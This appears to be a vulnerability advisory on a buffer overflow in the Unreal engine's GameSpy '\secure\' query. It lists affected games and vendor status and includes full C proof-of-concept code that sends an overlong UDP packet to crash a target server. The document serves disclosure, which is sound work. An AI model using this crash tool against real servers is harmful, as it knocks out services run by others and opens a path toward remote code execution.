|
Brought to you by:
Suppliers of:
|
|
|
| |
The Unreal engine is the famous game engine developed by EpicGames and is currently used for many games in the videogames industry.
By providing a long 'secure' packet to the game server, an attacker can run remote arbitrary code on a target machine. |
| |
Credit:
The information has been provided by Luigi Auriemma.
|
| |
Vulnerable Systems:
* DeusEx Version 1.112fm and lower
* Devastation Version 390 and lower
* Mobile Forces Version 20000 and lower
* Nerf Arena Blast Version 1.2 and lower
* Postal 2 Version 1337 and lower
* Rune Version 107 and lower
* Tactical Ops Version 3.4.0 and lower
* TNN Pro Hunter (?)
* Unreal 1 Version 226f and lower
* Unreal II XMP Version 7710 and lower
* Unreal Tournament Version 451b and lower
* Unreal Tournament 2003 Version 2225 and lower
* Unreal Tournament 2004 All versions lower than 3236
* Wheel of Time Version 333b and lower
* X-com Enforcer
Immune Systems:
* America's Army
* Dead man's hand
* Magic Battlegrounds
* Rainbow Six: Raven Shield
* Splinter Cell: Pandora tomorrow
* Star Trek: Klingon Honor Guard
* Unreal Tournament 2004 Version 3236 and above
* XIII
Almost all the games based on the Unreal engine support the "secure" query.
This type of query is part of the so called Gamespy query protocol and is used to know if the game server is able to calculate an exact response using a provided string as described in:
http://unreal.epicgames.com/IpServer.htm
http://aluigi.altervista.org/papers/gsmsalg.h
The query is a simple UDP packet like:
\secure\ABCDEF
If an attacker uses a long value in his secure query, an Unreal based game server will suffer from a buffer overflow. Both remote code execution and spoofing are possibles.
Vendor Status:
The bug has been noticed to EpicGames over 3 weeks ago. Currently only UnrealTournament 2004 has been fixed with the recent 3236 patch. Check the homepage of other vulnerable games for possible future fixes.
However fixing the problem should be simple enough, at least for those who has experience with the UnrealScript language. In fact the instructions that manage the \secure\ query and pass its value to the bugged function are written in UnrealScript code and are located in the files IpDrv.u or IpServerver.u (they depend by the used engine version).
Proof of Concept Code:
The exploit code presented below will send a UDP packet in the form of: \secure\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...aaaa
The exploit code requires winerr.h which can be found at: http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
//unsecure.c
/*
by Luigi Auriemma
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define TIMEOUT 4
#define BUFFSZ 2048
#define PCK "\\secure\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
/*
PCK can be long how much you want, the standard secure
string is 6 bytes so also a medium string is able to
crash almost any game based on the Unreal engine
*/
void gs_info_udp(u_long ip, u_short port);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
len,
psz;
u_short port;
u_char buff[BUFFSZ + 1];
struct sockaddr_in peer;
setbuf(stdout, NULL);
fputs("\n"
"Unreal engine \\secure\\ crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <server> <query_port>\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("\nTarget is %s:%hu\n\n",
inet_ntoa(peer.sin_addr), port);
fputs("- Requesting informations:\n", stdout);
gs_info_udp(peer.sin_addr.s_addr, port);
fputs("- Sending BOOM packet ("PCK"):\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) std_err();
buff[len] = 0x00;
if(strstr(buff, "validate")) {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
} else {
fputs("\nServer doesn't support the \\secure\\ query so is NOT vulnerable\n\n", stdout);
}
}
close(sd);
return(0);
}
void gs_info_udp(u_long ip, u_short port) {
struct sockaddr_in peer;
int sd,
err,
psz,
nt = 1;
u_char buff[2048],
*p1,
*p2;
peer.sin_addr.s_addr = ip;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, no replies received. Probably the server doesn't support the Gamespy query protocol or the port is wrong\n\n", stdout);
close(sd);
exit(1);
}
err = recvfrom(sd, buff, sizeof(buff) - 1, 0, (struct sockaddr *)&peer, &psz);
if(err < 0) std_err();
buff[err] = 0x00;
p1 = buff;
while(1) {
p2 = strchr(p1, '\\');
if(!p2) break;
*p2 = 0x00;
if(!nt) {
printf("%30s: ", p1);
nt++;
} else {
printf("%s\n", p1);
nt = 0;
}
p1 = p2 + 1;
}
printf("%s\n\n", p1);
close(sd);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
The code can also be found at: http://aluigi.altervista.org/poc/unsecure.zip
|
|
|
|
|